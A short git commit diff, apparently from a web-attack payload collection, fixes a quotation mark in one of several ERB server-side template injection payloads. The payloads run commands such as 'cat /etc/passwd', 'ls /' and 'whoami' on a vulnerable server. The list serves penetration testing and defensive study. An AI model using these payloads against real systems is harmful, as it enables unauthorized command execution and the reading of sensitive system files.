corrected a single quotation mark closure error

This commit is contained in:
meizjm3i 2020-05-29 18:35:22 +08:00
parent 7670e2c36c
commit a987b8be9f

View file

@ -97,7 +97,7 @@ Execute code using SSTI for ERB engine.
<%= system('cat /etc/passwd') %> <%= system('cat /etc/passwd') %>
<%= `ls /` %> <%= `ls /` %>
<%= IO.popen('ls /').readlines() %> <%= IO.popen('ls /').readlines() %>
<% require 'open3 %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
``` ```